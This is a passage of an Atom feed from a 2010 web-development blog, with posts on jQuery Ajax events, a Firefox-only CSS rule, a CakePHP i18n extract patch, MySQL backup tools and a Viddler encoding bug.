&lt;p&gt;I added a check to see if the element was really in the DOM before using it, and
if not requerying it and re-saving it in var&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>missing data in jQuery Ajax event ajaxSuccess</title>
    <link href="https://blog.pixelastic.com/2010/04/09/missing-data-in-jquery-ajax-event-ajaxsuccess/"/>
    <updated>2010-04-09T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/04/09/missing-data-in-jquery-ajax-event-ajaxsuccess</id>
    <content type="html">&lt;p&gt;jQuery provides a nifty set of Ajax events that one could define to fire methods
whenever an ajax request starts, stop, failed or succeed. It is quite useful
actually, to display visual indicator once and for all without having to define
the various callback on each ajax call.&lt;/p&gt;
&lt;p&gt;But it has one flaw. The &lt;code&gt;ajaxSuccess&lt;/code&gt; callback only give access to the &lt;code&gt;event&lt;/code&gt;,
&lt;code&gt;XMLHttpRequest&lt;/code&gt; object and the option object. There is no direct way to get the
return data from the call.&lt;/p&gt;
&lt;p&gt;Well, you can still access it from the &lt;code&gt;XMLHttpRequest responseText&lt;/code&gt; attribute
but it is then your job to parse it according to its type, duplicating some of
the code already called in the jQuery core.&lt;/p&gt;
&lt;p&gt;You can use the &lt;code&gt;$.httpData&lt;/code&gt; to directly parse it, giving the XHR as first
argument and the data type as the second one.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;#ajaxIndicator&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;bind&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;ajaxSuccess&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;event&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;xhr&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;options&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; data&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;httpData&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;xhr&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;options&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;dataType&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>CSS rule to target only Firefox</title>
    <link href="https://blog.pixelastic.com/2010/04/05/firefox-only-css-rules/"/>
    <updated>2010-04-05T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/04/05/firefox-only-css-rules</id>
    <content type="html">&lt;p&gt;I just found (via [enure.net](http://enure.net/post/article/serve-css-to-only-
firefox)) a CSS rule using proprietary Mozilla filter that would allow one to
specifically target Mozilla.&lt;/p&gt;
&lt;p&gt;I&#39;m not a huge fan of CSS hacks like that, I usually restrain them to the bare
minimum of IE conditional comments. But in some edge cases, it is sometimes
useful, if you really don&#39;t have other options.&lt;/p&gt;
&lt;p&gt;I&#39;d like to find the equivalent rules (using proprietary rules, no parser bug)
for Safari, Chrome and Opera&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;@-moz-document&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; url-prefix() &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  p&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; color&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;red&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Updated CSSTidy files</title>
    <link href="https://blog.pixelastic.com/2010/04/04/updated-csstidy-files/"/>
    <updated>2010-04-04T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/04/04/updated-csstidy-files</id>
    <content type="html">&lt;p&gt;CSSTidy allows you to optimize your CSS files by aggregating them in one unique
file, removing useless spaces and comments as well as running some other
optimizations on multiple declarations and shorthand notations.&lt;/p&gt;
&lt;p&gt;But if, like me, you&#39;re still using the 1.3 version available on the official
website, you may have run into issues when dealing with the latest CSS3 goodies.&lt;/p&gt;
&lt;p&gt;I&#39;ve been hacking this library in the last year, adding support for
&lt;code&gt;@font- face&lt;/code&gt; and for proprietary prefixed properties values, but today I was
faced with some other issues that I wasn&#39;t able to resolve.&lt;/p&gt;
&lt;p&gt;CSSTidy does not use regexp to parse the file, it reads it one char at a time
and does its optimization at the same time, and it is sometimes quite hard to
follow.&lt;/p&gt;
&lt;p&gt;Anyway, I just discovered that the Sourceforge page of the project is still up
and running and that a commit was added today, so the project is not dead! I
also posted two bug reports and one (dummy) patch.&lt;/p&gt;
&lt;p&gt;Here&#39;s the link, you got a download link at the bottom:
http://csstidy.svn.sourceforge.net/viewvc/csstidy/trunk/&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>-webkit-box-shadow inset value</title>
    <link href="https://blog.pixelastic.com/2010/04/03/webkit-box-shadow-inset-value/"/>
    <updated>2010-04-03T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/04/03/webkit-box-shadow-inset-value</id>
    <content type="html">&lt;p&gt;Webkit browsers (Safari and Chrome) have the &lt;code&gt;-webkit-box-shadow&lt;/code&gt; property
defined to add shadows to elements. Shadow can either be outside the box, or
inside it (using the inset parameter).&lt;/p&gt;
&lt;p&gt;Unfortunatly, only the latest Webkit nightlies have the &lt;code&gt;inset&lt;/code&gt; parameter
functionnal, Safari 4 does not.&lt;/p&gt;
&lt;p&gt;Chrome does indeed have the inset parameter, but it also have
&lt;a href=&quot;http://code.google.com/p/chromium/issues/detail?id=25334&quot;&gt;a bug&lt;/a&gt; when used in
conjunction with the &lt;code&gt;-webkit-border-radius&lt;/code&gt; property: the inset shadow is
visible &amp;quot;behind&amp;quot; the element where the borders are rounded.&lt;/p&gt;
&lt;p&gt;This bug does not occur on Mac, but as I have no way to target a certain OS when
writing CSS rules, I decided to remove &lt;code&gt;inset box-shadow&lt;/code&gt; for webkit browsers on
my actual projects, I may re-insert them later when both issues will be fixed.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>cakePHP i18n extract and plugins</title>
    <link href="https://blog.pixelastic.com/2010/04/02/cakephp-i18n-extract-and-plugins/"/>
    <updated>2010-04-02T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/04/02/cakephp-i18n-extract-and-plugins</id>
    <content type="html">&lt;p&gt;Cake has a lot of wonderful tools in its console. One of them is the
&lt;code&gt;i18n extract&lt;/code&gt; task that reads every file of your app, and extract strings that
should be translated (used with &lt;code&gt;__()&lt;/code&gt;, &lt;code&gt;__d()&lt;/code&gt;, etc).&lt;/p&gt;
&lt;p&gt;With cake 1.3 RC3 it even stored each domain string in its own &lt;code&gt;.pot&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;But, as far as I know (I&#39;ve posted on the google group about that, maybe someone
will show me where I&#39;m wrong), the console task is limited when dealing with
plugins.&lt;/p&gt;
&lt;p&gt;Let&#39;s say I have a plugin in my app. I&#39;m using
&lt;code&gt;__d(&#39;plugin_name&#39;, &#39;My plugin string&#39;)&lt;/code&gt; in my plugin and &lt;code&gt;__(&#39;My app string&#39;)&lt;/code&gt;
in the main app.&lt;/p&gt;
&lt;p&gt;If I run the &lt;code&gt;cake i18n extract&lt;/code&gt; in my plugin directory, it will correctly
generate the &lt;code&gt;.pot&lt;/code&gt; file in my plugin &lt;code&gt;locale/&lt;/code&gt; folder.&lt;/p&gt;
&lt;p&gt;But if I run it in the main app, it will scan every plugin file and thus finding
any plugin string and save them in the &lt;code&gt;default.pot&lt;/code&gt; or in its own
&lt;code&gt;plugin_name.pot&lt;/code&gt; file (depending on the value of the merge option).&lt;/p&gt;
&lt;p&gt;I don&#39;t need the &lt;code&gt;plugin_name.pot&lt;/code&gt; files in &lt;code&gt;app/locale&lt;/code&gt;, I already have them in
&lt;code&gt;app/plugins/plugin_name/locale&lt;/code&gt;. I know it&#39;s no big deal, I just have to delete
the useless files created every time I run the &lt;code&gt;cake i18n extract&lt;/code&gt; on the main
app but it is kind of irritating.&lt;/p&gt;
&lt;p&gt;So I updated the &lt;code&gt;cake/console/libs/tasks&lt;/code&gt; to add a new option to the task,
named &#39;&lt;code&gt;plugins&lt;/code&gt;&#39; (value: yes/no. Default to no).&lt;/p&gt;
&lt;p&gt;If set to no, the extract task will skip every plugin directory when extracting
files. This way, I have no more clutter, it only extract string that are in the
app.&lt;/p&gt;
&lt;p&gt;All I had to do was updating the &lt;code&gt;execute()&lt;/code&gt; method, and replacing the end of
the method (from line 152) with this one:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;params&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;plugins&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; isset&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;params&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;plugins&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;params&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;plugins&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;no&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;empty&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;__files&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;params&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;plugins&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;yes&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;__searchFiles&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;__searchFilesExcludePlugins&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And then add this method to the class:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; __searchFilesExcludePlugins&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  foreach&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;__paths&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; as&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $path&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $Folder&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; Folder&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$path&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $filelist&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $Folder&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;tree&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$path&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    foreach&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$filelist&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; as&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$file&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;      // We discard plugins&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;      if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;strpos&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;str_replace&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$path&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$file&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;DS&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;plugins&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;      // We keep those that match the pattern&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;      if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;preg_match&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;&#92;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;(php|ctp|thtml|inc|tpl)&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/i&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$file&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;__files&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[]=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $file&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Generating salt values</title>
    <link href="https://blog.pixelastic.com/2010/03/31/generating-salt-values/"/>
    <updated>2010-03-31T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/03/31/generating-salt-values</id>
    <content type="html">&lt;p&gt;Wordpress made available a nice tool to generate fairly complicated strings,
perfectly usable as salt value for all your password hashing process.&lt;/p&gt;
&lt;p&gt;As I&#39;m often heading to this page to generate new ones on new projects I thougt
I may share the link with you:&lt;/p&gt;
&lt;p&gt;https://api.wordpress.org/secret-key/1.1/bbpress/&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Mysql auto backup</title>
    <link href="https://blog.pixelastic.com/2010/03/29/mysql-auto-backup/"/>
    <updated>2010-03-29T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/03/29/mysql-auto-backup</id>
    <content type="html">&lt;p&gt;I&#39;m in the process of automating the backup of all the mysql databases of my
clients&#39; website. We never know what can happen, so having a backup of all this
data is really really important.&lt;/p&gt;
&lt;p&gt;MySQL data contains all the data added by the user, it means that unless you
make regular backup of this data, you can&#39;t regenerate it.&lt;/p&gt;
&lt;p&gt;I have multiple clients, with several websites each and an equivalent number of
databases. I wanted to store a backup of all those on my local drive, to prevent
any server crash problem.&lt;/p&gt;
&lt;p&gt;I wanted a daily backup, and as my working station is on Windows XP I tried to
find a simple software to do just that.&lt;/p&gt;
&lt;p&gt;There is a little tool called mysqldump on linux that does just that: saving an
entire database in a single file. Joined with some cron job and rotating the
files it shouldn&#39;t be hard to implement.&lt;/p&gt;
&lt;p&gt;But finding a software to do that on Windows is just terrible. I&#39;ve been
searching for them for more that 2 hours now and everything I find is horrible.&lt;/p&gt;
&lt;p&gt;At first I found &lt;a href=&quot;http://www.swordsky.com/&quot;&gt;AutoBackup for Mysql&lt;/a&gt; but the
software is written in something that even myself can&#39;t call English (and I know
that my prose is not exactly Shakespeare). I had to click on some options to
guess what it was supposed to do... I guess after some practice and once the
tasks are scheduled it doesn&#39;t matter anymore but the trial version can&#39;t save
more that 50 records per table and the price of the full version (~100$) is by
far too expensive.&lt;/p&gt;
&lt;p&gt;By continuing my quest, I ended up downloading this same software under
different names.&lt;/p&gt;
&lt;p&gt;Then I found [DumpTimer](http://www.richtsoft.com/mod.php?theme=richtsoft&amp;amp;them
e=richtsoft&amp;amp;mod=webpage&amp;amp;op=view&amp;amp;wid=18) and its brownish interface. It is also a
great example of ergonomic errors: window too small forcing to scroll to reveal
the options, nonsense message boxes popping, large amount of typo errors,
limited choice of options.&lt;/p&gt;
&lt;p&gt;But it does the job, in a very basic form, but it does it right. I could save my
list of servers, check which databases and tables to save (well, all of them)
and choose where to save them. There also was an option to copy them to another
database, but I didn&#39;t tried that.&lt;/p&gt;
&lt;p&gt;One of the main caveats was that it could only save the most recent backup,
there was no way to save, say, the last 30 days.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Viddler utf8 encoding issue with video description</title>
    <link href="https://blog.pixelastic.com/2010/03/25/viddler-utf8-encoding-issue-with-video-description/"/>
    <updated>2010-03-25T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/03/25/viddler-utf8-encoding-issue-with-video-description</id>
    <content type="html">&lt;p&gt;It seems that Viddler changed something on their video API in the middle of
January, and it broke &lt;code&gt;utf8&lt;/code&gt; support.&lt;/p&gt;
&lt;p&gt;All the videos I&#39;ve uploaded to their service from October 2009 until January
10th 2010 are working correctly.&lt;/p&gt;
&lt;p&gt;But for every video uploaded after that (in fact, from January 24th as far as I
can tell), the description text gets corrupted. All the special characters (like
é or €) gets replaced by their un-encoded counterparts (like Ã©).&lt;/p&gt;
&lt;p&gt;It happens either when using their API from a distant server or using their
homemade simple uploader.&lt;/p&gt;
&lt;p&gt;Even &amp;quot;worse&amp;quot;, when retrieving the video details from their API the description
field gets &amp;quot;htmlspecialchared&amp;quot; and I end up dealing with Ã©&lt;/p&gt;
&lt;p&gt;Anyway, I send them an email about that. I&#39;ve had to contact Viddler support in
the past and they are quite responsive, so I&#39;m sure they will correct this in no
time, seing how trivial it is (in fact, the title field is not affected by this
bug).&lt;/p&gt;
&lt;p&gt;Update 29th March: Viddler support filed a ticket for the issue.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Extra GET request when using SWFUpload</title>
    <link href="https://blog.pixelastic.com/2010/03/25/extra-get-request-when-using-swfupload/"/>
    <updated>2010-03-25T00:00:00Z</updated>
